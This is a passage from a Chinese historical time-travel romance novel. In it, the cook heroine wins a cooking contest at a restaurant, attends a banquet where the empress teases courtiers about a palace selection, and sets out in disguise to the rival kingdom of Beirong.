“就听姑娘的,老夫这把老骨头怕是也做不出什么来了。”钱三才见她这般活泼模样,不禁笑道。 “那就做您最爱吃的吧~”程六水狡黠道,“我要去买菜了,一个时辰后永安楼见。” 张清寒还想拉住钱三才,就被程六水揪住了耳朵,她叽叽喳喳地在他耳边说了几句,就见本还丈二摸不着头脑的张清寒眼睛都亮了,一个箭步就跑没影了。 这时,程六水才从胸前拿出了一张叠了好几层的京城地图,拆开看了半天,再抬头望着那不远处的七定堂,心中暗叫可恶!谁做的这黑心地图,这地图上怎么都是错的!不会是几十年前的地图吧? 一个时辰后,程六水灰头土脸地来到了永安楼,永安楼本都闭店好几日了,现下却开了,伙计们招呼着几位食客,说是有什么厨艺切磋,盼着大家能赏脸点评一二。 程六水进去的时候,已然有好几名食客来凑热闹了,她风风火火地拎着菜篮子赶往了后厨,而钱三才静坐在灶台旁的板凳上,灶是冷的,他的心也是冷的。 “您怎么什么都没准备啊?”程六水重重地将菜篮子放到灶台上,惊起了差点就入定的钱三才。 “我没什么好准备的。”钱三才笑道。 程六水对着这空空如也的后厨,抿着嘴大眼睛滴溜滴溜转道,“哎呀您这么放水也太明显了,巧妇难为无米之炊啊,难不成您要煮白水给食客们吃啊?” “那你剩些什么,便留给我吧,我做道菜出来。”钱三才是见过程六水厨艺的,他曾经收过那么多徒弟,却没人有她一手好厨艺,他是真心实意想将这永安楼传给她的,这样的好厨艺就算不是自己教出来的,也该让天下人见识见识。 程六水颇为勉为其难道,“那也行吧。”满满一菜篮子被她瞬间掏了个精光,就剩了颗大白菜和老豆腐。 而她手里拎着条活蹦乱跳的大草鱼,在那案板上手起刀落,鱼头鱼骨就不见了踪影,只剩那雪白鱼肉,唰唰唰就片成了薄片,洗净腌制,胡椒粉黄酒盐菜籽油,还有那至关重要的蛋清,裹得鱼片现下闻着就喷香。 再将豆芽洗净青笋切片在开水里烫熟了,放入大海碗中,程六水这才取出了自己的秘制红油豆瓣酱,起锅烧油倒入好几勺迪欧颁奖,再来些姜片蒜片,二荆条干辣椒花椒全部倒下去,一时间整个后厨烟熏火燎,麻辣鲜香的好滋味都蹿出了出去,引得食客们交头接耳的。 此时再倒入方才鱼头熬的汤,在这麻辣油锅里滋啦滋啦地响起来,微微等到锅中冒起了小泡,腌好的鱼片一片片滑入锅中,没一会功夫那鱼片就白嫩打卷了,摆在那豆芽笋片之上,红通通火辣辣的热汤浇在上面,最后淋上混了干辣椒的热油,噼里啪啦半天这水煮鱼就做好了。 而反观钱三才那头,真可谓是清心寡欲,白菜切成细丝,单单只用葱蒜榨锅,将那白菜丝炒一会儿便软了,浇上热水煮着,等水开了再放些切成块的老豆腐,咕嘟着咕嘟着加些盐调味便好。 伙计来端菜时都惊着了,这哪里还需要比啊,他个店小二一看都能分出胜负了,那大白菜做得再好吃也不如鱼啊。 店里十位食客看着这两道菜,齐刷刷地就去夹着水煮鱼片,吃得那叫一个辣滋滋心里美,鱼肉鲜香半点腥气都不见,这辣味调和得很好,既有北方人爱吃的酱香味,又有益州的麻辣,如何能不令人食指大动呢。 而其中一位食客却先光顾了这白菜豆腐汤,他用大勺子盛了满满一整碗,细细的白菜丝炖得软烂,小孩子饿极了就好狼吞虎咽,偏要这样的白菜丝才不会呛到,老豆腐虽比不上肉,可却有人告诉过他,吃不上肉的时候,吃豆腐也能长身体。 热乎乎的汤没有什么多余的味道,只有白菜的清甜,豆腐的醇厚,还有他幼年时许多个饿得睡不着的夜晚,他就是吃着这白菜豆腐汤,一碗又一碗长大的,只不过那时那个挺着圆滚滚肚子的厨子非得将这汤唤作翡翠玉圆汤。 “九比一,水煮鱼获胜!”店小二看着老东家做得白菜汤惨败,都不禁长叹了一口气。 “店家,能否见一见大厨?”待其余食客都走了,那吃完了一整碗白菜豆腐汤的食客站起身道。 “啊可以,客官你稍等片刻。”店小二一溜烟就进了后厨。 “九比一,程姑娘这永安楼就是你的了。”钱三才咧开嘴笑道,这是他今日第一次真心的笑。 “我的?可我过几天就要离开京城了,不如钱伯伯帮我先照看着吧,您可不能再偷摸关店了,得将生意做得红红火火的等我回来。”程六水俏皮一笑道。 “好,那你什么时候回来?”钱三才本就无事可做,点了点头道。 “大概也许可能十年八年吧!”程六水咧着嘴边笑边跑到正好走进来的张清寒身后。 而张清寒旁边则站着方才那位食客,他温柔笑道,“钱伯伯,这永安楼您还得开下去啊,不然我到哪里去吃到这么好吃的翡翠玉圆汤?” “陛下!陛下!”钱三才手中的锅铲啪嗒就掉了,他扑通就跪在了那装成食客的皇帝身前,声嘶力竭地哭喊道,“陛下,是我对不住你啊。” “您快起来,您没有对不住我,我亦不怨您,我送您出宫是为了让您颐养天年的,朝中那些烦心事咱都不管,您就在这京城做个富家翁,顺便给我留碗汤喝。”皇帝赶紧扶起钱三才,眼角微微泛红。 他从来都是知道钱伯伯的,那个冰冷皇宫里总给他做一碗翡翠玉圆汤的大肚子厨子。 第110章 夕阳西下,侧影交叠,蹦蹦跳跳的姑娘在地上时不时地追着影子跑来跑去,而她身后的 男人亦步亦趋地跟着她,弯唇浅笑着。 “这下子,到手的永安楼就飞了,你个小财迷要哭了。”张清寒掸了掸掉落在六水肩头的花瓣,微微笑道。 “那永安楼本就不是我的,平白无故得来的东西总是要有代价的,我自己也能赚出个酒楼出来。”程六水回首狡黠道,斑驳光影映在她那笑得无比灿烂的小脸上,熠熠生辉。 “好好好,到时候我们在整个大乾州府都开酒楼,你就做东家好不好?”张清寒眼眸含笑道。 “那我是东家,你是什么?程东家的小娇夫?”程六水促狭得很,掩唇调笑道。 张清寒一听,伸出手就要上前捂住她叽叽喳喳的小嘴,这可是大街上,这话传出去他个大男人倒是没什么,却对六水的声誉不好。 六水眨巴着葡萄大的圆眼睛,唇瓣仅与那白皙的手掌分寸之间,呼出的缕缕热气挠得张清寒手心痒痒的,激得他下意识就要放下手,怎奈眼前这个促狭鬼竟伸出手来不让他放下。 “怎么不想做程东家的小娇夫?你还想做旁人的?”程六水慢条斯里地说道,唇瓣间微微颤动,一下下碰触到了着张清寒的手心,砸在了他的心里。 “我不是不是……”张清寒刚想结结巴巴地解释,忽而就见那六水笑得同个小狐狸般。 刹那间,程六水从那繁华至极的市集被拐进了一旁的巷子,这时辰各家各户都做饭呢,那巷子里自然是没什么人的。 她紧紧靠在被日光晒得温热的墙壁上,眼前的男人离得极近,剑眉星目缱绻多情,紧紧盯着她,盯得她小心脏扑通扑通直跳,差点就要跳出嗓子眼了,一双眼早就六神无主了起来,四下乱看就是不敢抬头看他。 两颊上绯红一片,不知是热的还是羞的,万般无奈下只能用力推了推张清寒,可这张清寒不知是吃什么长大的,怎的硬邦邦得跟个石头块似的,“你做什么?还不还不放开我……” “我不想做旁人的夫君,只想做你的,好不好?”张清寒哑声了半晌,才开口道,他那一身习武得来的皮肉绷得死死的,不敢唐突了怀中之人。 程六水瞪大了眼睛,动都不敢动,整个大脑全是噼里啪啦的火花,直接给她烧死机了,她只是在说些片汤话玩,他到底在说什么啊? “……青天白日的你说些做什么?我饿了!”她烧红了小脸,从张清寒的臂弯里大力地撞了两下,才找到空子钻了出去,那两条腿倒腾起来蹿得比兔子还快,边蹿边叫嚷道。 “小心些,莫要跑摔了。”张清寒在她身后,一边嘱咐着,一边忍不住笑了起来。难得真是难得,小狐狸也有失蹄的时候,一头就栽进了他这匹大尾巴狼的陷阱。 待到两人你追我赶跑跑停停,终于是在皇城根下张府隔壁的隔壁的宅邸听下了,程六水来了京城没几日,只是逛了些京城好吃好玩的地方,尝了顶顶怪的豆汁,吃了实在是吃不了的卤煮,光顾着玩了竟没注意到,这里有间这么大的宅子。 这宅子不光大,而且门口瞧着就甚是气派,甚至可以说得上是金碧辉煌了,同张府很是不同,张府方方正正的宅子,两只石狮立于门前,青瓦白墙,高大挺拔的杨树栽种在院落里,四季长青的松柏穿插其中,一看就是个庄严有余颇为无趣的府邸。 而眼前的宅子,金漆盖顶红墙朱柱,就连门口的小厮身上的衣服都是缎子面的,两只极大的貔貅尽职尽责地看守着此处。 “这是谁的宅子啊?看上去阔气得很。”程六水摸着下巴,上下打量着点评道。 “牧川的,今夜他恰好办了场席面,遍邀京城权贵。”张清寒指了指一旁,就见川流不息的马车正在朝这宅子涌来,此时下马的正是定国公家的两位公子,两人锦衣华服风度翩翩,一身习武之人的气概。 而这宅院也开了大门,似是一很有身份的人出来了,身着暗纹云锦白玉簪发,端着一派温文尔雅迎着两位公子进门。 “他,他是马大哥吗?马大哥去高丽了?”程六水眯着眼睛津着鼻子,看了老半天都觉着这人好像长得和马牧川不太一样。 “不是,是货泉商帮的柏平宁,在这京城里很是有名望,也是皇后娘娘的老熟人了。”张清寒轻声解释道。 程六水这才略略点了点头,她现下大抵是明白了她穿越的这个朝代,本是个正儿八经的封建王朝,重农抑商男尊女卑,但偏生就有那么一拨人让历史这奔腾的车轮拐了弯,自前朝起商帮兴起通关通商,那谢皇后便是促成这局面的关键之人,而马大哥和这货泉商帮也是这拨人里的。 她作为一个没什么本事的老百姓,十分庆幸赶上这个朝代,安居乐业衣食丰足,人人只要肯干都能好好过日子。 “走?”张清寒打断了六水的走神道。 “?走去哪儿?不回府吗?”程六水看着张清寒领着自己就要朝着那金碧辉煌的大门走去,差点就要撞上那两位国公府的公子了。 “不是饿了吗?正好进去蹭饭,牧川府上的厨子比我府上的好。”张清寒理所当然道。 程六水一听,皱了两下眉颇觉得此言很是有理,拉着张清寒就要往里进,这俩人拎着五个酱菜罐子雄赳赳气昂昂,乍一看不是来参宴的,倒是像打劫的。 说话间,三三两两的各家公子小姐来了不老少,眼瞅着这俩人大摇大摆地进了府门,那柏平宁见了他俩,笑得比见国公公子还欢,都露了八颗牙了。 “这姑娘是谁?瞧着不像是京中哪家府上的。”一梳百花髻簪着金凤碧玉钗,着妃色蜀缎石榴裙的女儿家道,这位小姐出自宗室,虽是远亲但实打实盘下来,算是当今圣上的表妹,唤作孙玉琅。 “玉琅妹妹这眼色怕是不好了,那一旁站着的不是皇城司赫赫有名的张大人吗?还能是哪家府的?”一旁马车下来了一位更是雍容华贵的贵女,裙摆拖迤甚是绮丽,来人正是陛下亲妹,淑仪公主。 这淑仪公主性子最为争强好胜,偏生生得极为貌美,又是皇家女,自然那气焰都能飞上天了,然先帝子嗣众多,光是公主就有二三十位,淑仪又不是陛下一母同胞的妹妹,故而这气焰也只能在宗室和各家权贵处好使,若是在宫里那是半点风浪都翻不起来的。 “淑仪姐姐眼神倒是好,您素来眼高于顶,今夜这百花宴怎么就肯赏光了?怕不是听闻皇后娘娘要来,这才眼巴巴地赶过来吧,可惜您今夜打扮得如此华光,却抵不上方才那姑娘的颜色。” 孙玉琅也是不遑多让,她父乃靖忠伯,在朝中又任着工部侍郎的差事,自家日子过得如日中天,而这李淑仪空顶着公主称号,实则生母不过是先帝的贵人。平时忍着让着也就罢了,如今被她这么挑衅,孙玉琅自然是咽不下这口气的。 “孙玉琅你!”淑仪公主抬首眼中愠怒着,却被身后来人打断了。 “见过殿下。”白婉瑜慢悠悠地走了过来,她如今已与卫侯和离,穿得很是素净,却自有一派风雅高贵。 这淑仪公主与孙玉琅一见白婉瑜来了,顿时都不吭声了,这白婉瑜可是皇后娘娘身边的红人,又是宫中的四品女官,哪里是她们闺阁女儿得罪得起的。 白婉瑜接着轻声道,“那程家妹妹我自是识得的,是我兄长旧识,更是我的好姐妹。”眼眸一挑又笑道,“和张大人也是有交情的,只不过说是张府的人可是轻率了些。” “婉瑜姐姐说得是,那程家妹妹自是好的,待会我可要敬她几杯酒赔罪。”淑仪公主虽高傲,肚子里也是有八百个心眼子的,脸皮说变就变,这下子笑得比那园中的花儿朵儿都烂漫。 “哪里说得上赔罪呢,程妹妹最是好相处,到时姐妹们一起吃酒便是。”白婉瑜莞尔一笑,拉着淑仪公主与孙 玉琅,说说笑笑地进了府。 而程六水对即将冒出来的公主姐姐贵女妹妹丝毫不知情,她正老老实实地坐在妆台前,任由马陶陶和赵玉雨摆布。 他们一进门,那马陶陶就迎了上来,说刚给玉雨装扮完,正好再给她好好捯饬捯饬,这给程六水都弄懵了,“我只是来蹭饭吃的,不用捯饬了吧??” “饭你随便吃,这妆也得画,春燕快取些枣泥花糕,金团果子来。”马陶陶一边招呼着侍女取些糕点给程六水垫垫,一边拉着程六水就往自己院子里走去。 程六水一听有果子吃,麻利就不管那张清寒了,跟着马陶陶就进了后院,独留张清寒孤单单一个。 “清寒清寒,你别看了,知道你心悦人家,那也禁不住你这么看啊。”马牧川哈哈哈地打趣道。 张清寒瞥了他一眼,冷冷清清通知道,“办完这场宴席,你随我一道去北戎。” “啥???”马牧川张个嘴瞪着眼懵了,他好不容易在京城待些日子啊,老天啊!《 》 110-119 第111章 烛光摇曳,琉璃镜前映出一人,柳叶细眉玉脂琼鼻,眼波流转间顾盼生辉,清若芙蕖艳如桃李,好一张出尘脱俗的美人面,然则那双圆杏眼总是滴溜溜乱转,一瞅就是又去偷瞄那枣泥花糕了。 “莫要再吃了,再吃刚擦好的胭脂都被你吃没了。”赵玉雨身着黛紫香云芙蓉裙,步步生香婀娜多姿,淡妆浓抹恰相宜。 “玉雨,好姐姐,我就再吃一口!”程六水拽着玉雨的宽袖一个劲摇啊摇,摇得玉雨只能撇嘴任由她吃了个精光。 “你说是穿这软银烟罗百合裙呢?还是这件锦缎苏绣百蝶裙呢?”马陶陶半个人埋在箱笼里,左翻出一件,右掏出一件来。 赵玉雨上前几步接过了这两件裙子,抿起嘴细细瞧了瞧,“这软银百合裙清新雅致,而这鹅黄百蝶裙俏皮可爱,我看都不错。” “我看,你说了等于白说。”马陶陶听了这话差点没彻底栽进箱笼里,好不容易爬出来才道。 “哎呀这衣裳吧还是得试,不试试怎么知道呢?”赵玉雨乐呵呵地意有所指看向了程六水。 程六水刚想反驳就见那一身朱红山茶石榴裙的马陶陶正在那一本正经地点起头来,她就默默咽下了所有的不满,一打二还是打不过的,但真的还要再试吗?已经试了五六七件了。 马陶陶的闺房本就大得很,如今是这儿摆一件那儿放一件,都快没有下脚的地方了。 程六水刚开始试裙子试得很是开心,毕竟她这两辈子加在一起,都没穿过这么好看的衣裳,谁不喜欢打扮自己呢?可她忽略了宫装华服的繁复程度,一件件换下来,她只有一种自己成了橱窗前套衣服模特的感觉。 “要不就这件吧!”程六水激动的心,颤抖的手,指着离自己最近的鹅黄百蝶裙道。 换来的是对面两人的相视一笑,笑得令她心肝脾肺都不是很舒服呢。 而后花园的宴席早已齐整多时,流水似的宾客不是落座其中,就是闲了三五结伴地赏一赏这园中百花,此宴名头便是百花宴,四时节气吉庆佳节总是能找些缘由摆宴席的。 这次马牧川摆这百花宴,本就是例行公事,他个皇商上有朝廷管着,下有民间商会错综复杂的关系,自然要时时疏通,这样生意才好做些。 只不过今夜略有不同之处的是,宫里午后传来消息,说是那宫里的皇后娘娘许是得了兴致,愿意舍得分出些心神要来这百花园走一走。 马牧川得了这消息倒是没什么反应,他同皇后娘娘毕竟做过好些年生意了,他能不知道这是个心不定腿乱跑的主儿?来不来谁知道呢。但其他人却不这么想,一听说有机会见着娘娘,本来说不来的人也来了,闹得马牧川只能临时加了不少位子。 “你这园子来的人是不是有点杂啊?”张清寒背着手站于廊前道。 “是啊你说我哪来的面子,这公侯家的来了一半,宫里公主都来了。”马牧川靠在那廊柱前吊儿郎当道。 “京中这是怎么了?最近除了叛乱还有何事吗?”张清寒属实也没想通,这些年轻男男女女齐聚于此是为何? “被你说着了,还真是有事。这不依循旧制,三年选秀的时候快到了嘛,先前的选秀都被陛下寻着各个因由给推脱了,如今这后宫就相当于形同虚设一般。 但毕竟是旧制,今年要不要办,谁家都不知道啊。要是办,那谁家都得好好思量了,要不要送女儿进宫,有那想求赐婚的,也得提前同皇后娘娘通了气。要是不办,那年岁相当的公子小姐们就得相看定亲了。“马牧川怂了怂肩细细道来。 “选什么选?陛下压根就没有这心思,叛乱刚刚平定,那与北戎的事还是一团乱麻,本来与北戎皇帝定的和约,如今被六皇子这么一搅和,怕是和约变战书了。这昨日又传来了消息,北戎皇帝竟忽然缠绵病榻了,他那朝中主战派更是嚣张了,边境不稳宫中自然动荡。”张清寒皱眉开口道。 “那是你知道陛下的心思,旁人哪里晓得,礼部又不敢在朝上问,怕再问就同前几次一样,吃了好几个软钉子,费力不讨好得很。京城这些人家就只能削尖了脑袋,从只言片语中得些口风,陛下那儿得不着,皇后娘娘总能容易些吧。”马牧川一言道尽了这些宾客的心思。 不过他有一句话没说,这事问皇后娘娘,娘娘人前定然是语笑晏晏,等回了宫遭罪的可就是陛下了,陛下遭罪了旁人也不好过…… 马牧川说完,身边的人久久都不出声了,他一侧首好家伙这张清寒根本没听自己后面说了啥,那眼睛早就飞没影了。 单看园中花团锦簇,却不知这曲径通幽之处更是别有一番风景,自家妹妹生得自是不用说了,花容月貌都难以形容,这另外两位着实是清艳出尘,楚楚动人。 “哐当”一声,引得马牧川又是转头看去,就见从杜尚书府上姗姗来迟的杜少仲和乔四方,也是呆愣在原地,那杜少仲手中的折扇都掉地上了。 本就是人精的马牧川,看了看这三位姑娘,再看看身旁这三位傻了的男人,忽觉自己很是多余,人人都有春天,怎么就他没有呢? 但他毕竟是主人家,且旁边这几个傻蛋着实有些不顺眼,马牧川决定棒打鸳鸯直接开口便道,“来得正好,诸位随我去园中吧,估摸着时辰正好可以开宴赏花了。” “啊啊啊对对,赏花赏花。”杜少仲被这一语惊醒,弯腰拾起了折扇,面上怔愣的神情一时间却掩饰不住,只能四处张望起来。 “陶陶,你今日真好看,比这园子里的花都好看。”乔四方依旧武人打扮,不过是着了皇城司常服的,瞧着倍儿精神。 “你也好看,你比这……比这树都好看。”马陶陶羞羞答答地凑了过去,俩人你夸一句我夸一句,但经不起细听,夸得属实是有些直白了点。 马牧川头一次觉着耳朵好使也是一种罪过,他不禁摇了摇头,没眼看自家妹妹和那愣头愣脑的乔四方,大步流星就是往外走啊,头不带回的。 待到行至园中,细细瞧来便知是精心布置过的,百花错落有致争相竞开,牡丹杜鹃紫藤各个开得热热闹闹,宾客们大多已然落座,闲谈一二。 “近来京城时气甚好,我这府上花草得天地滋养生得着实不错,诸位可尽情赏玩,开席。”马牧川笑道,侍女小厮们应声而入,琉璃水晶盏上俱是厨司采园中百花制成的点心清茶。 程六水规规矩矩坐在陶陶身旁,圆眼中却有着异于平常的兴高采烈,眼前的便是宝珠牡丹饼,取了枝头开得最盛的璎珞宝珠牡丹,嫣粉透白的花瓣捣碎后更是藏不住的幽香,焯水糖渍后,加入赤豆豌豆精米,再来些砂糖山蜜,用饼皮包裹着,烤过出炉后便是酥得掉渣的宝珠牡丹饼,远远闻来便觉牡丹花香宜人,偏又几分绵长踏实的豆香。 她取了一块,轻轻咬了一口便不禁眯住了眼睛,真可谓是满口生香悠远深久,再饮了盏清茶更是令她连连惊奇。 程六水仔仔细细端详着杯中茶,色白香浓,初尝只是微微炒过的乌龙茶香,紧接着余味便散了出来,初夏栀子花的甘甜沁在其中,令人一品 再品,“此茶唤作什么?”她轻声道。 “唤作玉荷北苑,是宫中去岁新做的茶,费了不少心思,我瞧着很是应今日的景,便求了两瓮来,供诸位品尝。”马牧川彬彬有礼道。 “着实不错,应是窖制时那青茶与栀子层层交叠,栀子吐香青茶吸香,这青茶约莫是两广的凤凰单丛,才能如此香醇。”杜少仲浅尝片刻,笑道。 “原以为少仲是个酒画诗书皆精之人,不曾想你对这茶之一道亦有研究,当真是厉害。”马牧川点了点头赞道。 “怕不止是茶道吧,听闻杜公子此次回京,途径河东竟忽遇猛虎,奋力搏杀解了百姓虎患,当真是文武双全,六艺皆通啊。”孙玉琅柔声赞罢,皆是敬佩之意。 “好说好说,我这只是碰巧了,更无孙小姐所赞的那般勇猛,你看这不是还伤了肩膀,现下还没好呢。”杜少仲爽朗一笑回道。 马牧川一看这杜少仲的肩膀就想笑,这人左肩受了伤还缠着布条,却丝毫不耽误右手在那摆弄折扇,两只手竟不够他用的了。 “哦?谁人这般勇猛,牧川你这儿来了个打虎英雄?”远处声音响起,随后便是一声“皇后娘娘驾到。”众人赶忙起身行礼,哪里还顾得上品茶赏花,一个个心思都活络了起来。 只见谢皇后一身明黄蜀锦牡丹宫装,尽显其雍容华贵,这位皇后执掌后宫已有五六年,母仪天下的气势挡也挡不住。 “都起来吧,今日本宫来了兴致,你们可莫要拘礼,尽情耍玩便是。”谢皇后笑道,落座主位后便看向不远处的孙玉琅道,“玉琅,你敬佩的打虎英雄莫不是杜小翰林吧?” 第112章 谢皇后此言一出,宴席上众人皆是将目光或明或暗地投向了孙玉琅和杜少仲身上,那孙玉琅自是落落大方,面露喜色道,“回禀娘娘,正是杜公子,臣女偶然听父亲提起,听闻那猛虎流窜至河东,闹了好几月,这杜公子遇见了便出手相救,不费一兵一卒就除了虎患。” “不敢当不敢当,不过是运气好罢了。”杜少仲赶忙起身道,他本是个脸皮顶顶厚之人,可被孙家小姐多番夸赞,他自己都要受不了了。 “杜小翰林不必自谦,不曾想你出去游历一圈,竟有了这般武艺,如此文武双全,本宫记着你还未娶亲吧?”谢皇后弯起唇,轻酌了几口玉河北苑道。 这话说得漫不经心,却瞬间将那杜少仲的心揪得七上八下的,他都傻了,他到底是不是文武双全先不说,这文武双全是怎么和娶亲扯在一起的? 可皇后娘娘问了,他就是有八百个胆子也不敢不答,只能硬着头皮答道,“禀娘娘,尚未娶亲。” “哦?那不是正好……”谢皇后挑眉一笑,在这宴席上扫了一圈,瞧着孙玉琅俏脸微红,淑仪公主默不作声,而坐于马陶陶身边的两位姑娘神色各异,哎呀她那晚怕是有些醉了,这俩姑娘哪个是清寒的心上人来着,就说生得极美,她瞧着两个都是妙人儿,根本分不出来啊。 再观桌上众人面色,谢皇后心中更是得了趣,她哪能不知这宴席里大半数人的心思,不过就是时候到了,来探听今朝要不要选秀的,她一想到这两个字就晦气,选秀选秀,有什么好选的?还不如再开场殿试选几个能干之人做官呢。 “淑仪,本宫许久未见你了,怎的今日这般文静?”谢皇后话锋一转,面上依旧那派端庄大方,紧接着开口道,“你平日里性子爽朗,本宫看啊你与这文武双全的杜小翰林就很是相配。” 正在一旁偷吃玉兰炖雪蜜的程六水都惊得放下了那小汤匙,她转头与玉雨面面相觑起来,谁也没想明白怎么好端端的百花宴成了拉郎配了? 程六水嗔怪地瞥了眼张清寒,说好的来蹭吃的,吃还没吃明白,就在戏台子上,那一记眼刀剜得张清寒心里慌慌。 而那淑仪公主更是大惊失色,直接站起身子道,“臣妹,臣妹岁数还小,嫂嫂莫要打趣臣妹了。” 这慌慌张张一站起,那宽袖差点甩到孙玉琅脸上,孙玉琅的脸色那比之淑仪公主竟要难看十倍,毕竟只是个碧玉年华的闺阁女子,喜怒不想形于色也是不成的。 “这个孙小姐是不是喜欢少仲啊?”程六水悄悄扒着陶陶的耳朵问道。 “嘘,好像是有那么回事,但那都是好几年前的事了。”马陶陶皱着眉想了半天才想起来道。 “好几年不见了,还喜欢啊,那倒是也挺痴情的。”程六水默默又端了一碗梨花酪吃起来,吃了两口才道,“那少仲?” “公主殿下乃金枝玉叶尊贵非常,我只是一闲云野鹤之人,万不敢耽误了公主。”杜少仲亦赶紧出言道,他虽然不知前情,但脑筋还是转得快的。 方才席间大惊失色的远不止淑仪公主,连那定国公世子都变了脸,怕不是这两位早就心心相印,等着陛下赐婚呢,怎好让他来横插一杠子,坏人姻缘的事他可不做。 “那还真是可惜了,那定国公世子你有没有心仪之人啊?”谢皇后想是知道了什么似的,意有所指道,却又不给定国公世子开口的间隙,再次说道,“本宫瞧着陶陶就不错,陶陶可是本宫看着长大的姑娘,定是错不了的。” 马牧川和马陶陶瞬间傻了,马牧川瞪大个眼睛无声地质问着谢皇后,“大姐!我不是和你说过,我家妹妹和萧墨弟弟的事吗?你在做什么啊?你莫不是在发疯吧!!!” 乔四方直接就要站起来说话,却硬生生被张清寒按了下去,张清寒摇了摇头,显然是有些看明白了谢皇后的打算,那乔四方和马陶陶见了张清寒的眼色,才不得不把嘴里的话咽下去,却依旧惊慌得很。 “这这这这不行!”那定国公世子还未来得及开口,那淑仪公主就炸了,她急三火四地开口道。 “哦?为何不行?淑仪想来是与世子交好,都知晓世子的心思了?”谢皇后平静道。 “娘娘,臣与陶陶姑娘并不相熟,更无冒犯之心,哪里敢说得上心仪。”定国公世子一看淑仪这个炮仗脾气,赶紧出来打圆场道。 “有意思真有意思,你们这一个两个都在推诿本宫,打量着本宫不知道你们这心思呢?今日听说本宫要来,便都来这宴席上分一杯羹,只为问本宫选秀的事是吧?”谢皇后目光忽而凌厉起来,沉声道。 “臣等不敢!”这下子齐刷刷一片人都跪下了,皇后威严极重,又喜怒不定,谁都怕遭殃。 “有何不敢的,选秀是什么?不就是让本宫多几个好妹妹在宫里吗?不就是逼着陛下再有几门好亲事吗?本宫如今投桃报李,先给你们定下些亲事,让咱们这京城处处张灯结彩,全是喜事不好吗?”谢皇后利言呵斥道,稳坐在主位之上,心里明镜一般,那定国公世子喜欢淑仪,孙玉琅喜欢杜少仲,杜少仲喜欢贪吃姑娘旁边的那个温柔姑娘,乔四方和马陶陶是一对。 “你们乱点本宫与皇上的鸳鸯谱,本宫就也乱点你们的,若是不想过了大家就都别过了,本宫不介意这京里多了十几二十对貌合神离家宅不宁的夫妇。”谢皇后冷笑道,顺便看了眼马陶陶身边的程六水,这姑娘怎么还在那儿看桌上的玫瑰酥饼呢? “臣等再不敢提选秀之事,娘娘!”这帮子人吓得赶紧求饶,谁家子没有适龄的好儿子好女儿啊,要真是胡乱婚配,那可不是真闹个家宅不宁。 好端端一个百花宴,现如今却无人敢言语半声,半晌后才听谢皇后慢悠悠开口道,“哎呦本宫不过是开了个玩笑,哪能真做这乱点鸳鸯谱的事啊,行了都起来吧,牧川今日为这百花宴准备了许久,你们可切莫辜负了他的心意。” 马牧川十分无语地看向谢皇后,眼里写满了控诉,你还知道我准备了许久啊?我还以为您老人家不知道呢! 谢 皇后偷偷吐了吐舌头,俏皮地给马牧川翻了个极好看的白眼,结果就对上了张清寒的冷脸,她看了看这满园百花,明明是初夏怎的忽觉有点冷呢? “臣等遵命。”众人赶紧假模假样地吃起来喝起来,谁还敢提选秀啊,别说今朝不敢提了,怕是这辈子都不敢提了。 “娘娘,你要母老虎发威能不能提前知会我一声,你看给我妹妹吓的都不行了。”马牧川在谢皇后近前,小声抱怨道。 谢皇后定睛一瞧,马陶陶明明就在那儿蹦蹦跳跳摘花呢,哪里不行了? “好了好了,下回和你说,我这不是临时起意吗?他们好家伙一个个拿我当傻子,我还不能戏弄戏弄他们了?”谢皇后嘿嘿一笑。 “你再戏弄两回,那满朝文武都要吓死了。”张清寒冷冰冰道。 “……你说你这么个冷心冷情的性子,那姑娘是怎么看上你的呀?”谢皇后叽叽歪歪道。 “六水自然是喜欢我的,你莫要挑拨我们关系。”张清寒抬起头看着正在指挥杜少仲去爬树摘花的程六水道。 “啧啧啧你这也太酸了,六水姑娘一看就是好姑娘,你可莫要薄待了人家,她的父母亲人可要好好从北戎带回来,嘿嘿回来就去工部报道吧!”谢皇后说着说着就拐弯了。 “工部报道?”马牧川不明就里问道。 “当然了,你不懂这种能做火器机关的人才,那真是不可多得啊,六水姑娘会不会?要不一起去工部吧?”谢皇后乐呵呵说道。 “……娘娘要不还是走吧,我看这也到时辰了,陛下应是从永安楼出来了。”张清寒勉强挤出了两分笑道。 “哎呀那我是得走了,我在宫里等你们好消息啊!”谢皇后这会儿半点皇后威仪都没有了,一溜烟就跑走了,那身后的侍从压根追不上,跑得上气不接下气的。 “陛下出宫了?”马牧川挠着脑袋,啥也没听明白道。 “出宫了,娘娘说想吃十里巷夜市的小馄饨,陛下陪着出宫了,来你这儿是顺便。”张清寒面无表情解释道。 “好个顺便,你看看给我这百花宴闹的。”马牧川撇嘴道。 “行了,你这百花宴不过就是个过场,你行囊收拾好了没?明早卯时就出发去北戎。”张清寒边说边倒了一盏新上的茉莉香片,正要给玩得不亦乐乎的六水送去,这小妮子要不是穿着繁复宫装,怕是早就自己上树了。 “卯时???大哥,你今晚是不让我睡了是不是?”马牧川大喊大叫道,差点就气得对眼了。 第113章 北戎其地,广袤草原无边沙漠,国都伫立在中央一片水草丰美的绿洲之上,一改游牧民族的居住之所,筑起了高高的城墙,骑兵四散在外,无声无息地守卫着这座草原上的明珠。 程六水一行人悠悠荡荡了小半月才赶到这里,其实细细算下来大乾与北戎都城当真不算远,若是有一日真打起仗来,谁都没有好果子吃。 明明到了夏日里,此处却依旧穿不得薄衫,只着春衣就好,只不过程六水如今是穿不得大乾的衣饰了,她在一番乔装打扮下竟成了北戎一名穷厨子。 “为何我是穷厨子?”程六水在长公主府旁不远处的一处宅邸,叉着腰仰着头,粗布麻衣系着围裙束着青丝道。 她没好气地看向眼前的几人,马家兄妹穿得堪称是金碧辉煌,一看就是大乾来的有钱富商,而乔四方这回竟穿上了北戎时兴的短打,那隆起的臂膀皆裸露在外,很是唬人,胯上一把大大的西瓜弯刀毫无保留地向世人展示着它的战绩。 而杜少仲则打扮得一派仙风道骨,乌发散开其中掺杂着些许银丝,本是没有半点皱纹的一张脸硬生生梳了一把极白的长胡须,他这肩膀才好削瘦得很,套上一身道袍还真挺像个江湖术士。赵玉雨立在他身前,白衫白裙白发带,额间一抹红,垂眸不语不似真人,仿若一座神女像,怜爱世人普度众生。 “因为你……你看着就适合。”马陶陶俏皮地吐舌头道,结果就是被程六水恶狠狠地打了一下。 “京城平定叛乱后,六皇子不少党羽扛不住刑,招了许多机密事,其中便有一条线索,你父母或在北戎皇室的手上。”张清寒从阴影处走出,一身夜行衣在他身上倒是正合适,就是这脸煞白瞅着有点英俊得瘆人。 